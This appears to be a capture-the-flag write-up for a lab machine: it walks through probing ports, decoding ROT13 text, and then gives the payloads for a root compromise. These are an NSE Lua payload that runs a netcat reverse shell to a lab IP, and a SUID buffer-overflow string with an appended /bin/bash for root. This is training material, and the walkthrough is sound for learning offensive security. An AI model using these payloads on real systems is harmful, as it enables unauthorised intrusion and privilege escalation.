cool weโ€™ve got some ports open, letโ€™s check them out one by one.

using nc banner grabber to connect to this port, got nothing. letโ€™s move to the other port.

moving to the second port 5900 it requires creds to login, which we donโ€™t have any. let check the next port 5901.

^C

moving to the third port 5901 was asking for a decryption key which we dont have any, so putting a random value gave us some ciphered text. letโ€™s use cyberchef to decode the texts.

decode the texts from rot13 and we got something sus. letโ€™s keep it in our note. moving to the forth port

Provide an NSE. CTRL+D to end

nse
^C

moving to port 5902 it requires us to input an nse, which is an nmap script writen in lua. letโ€™s search nse payload to use.

image

reconnected to the port using telnet, and used nse payload os.execute("nc -c /bin/bash 10.10.1.50 1337"), fire up ncat listener and used ctrl+d to trigger the payload and boom! we got a reverse shell.

checking for suid, we saw that /usr/src/brainfucksh/suidflow is an suid bin file. letโ€™s exploit this file.

nmap@doorknob:/home$ /usr/src/brainfucksh/suidflow

by doing a simple buffer ovrflow with payload AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;/bin/bash, we got root shell.
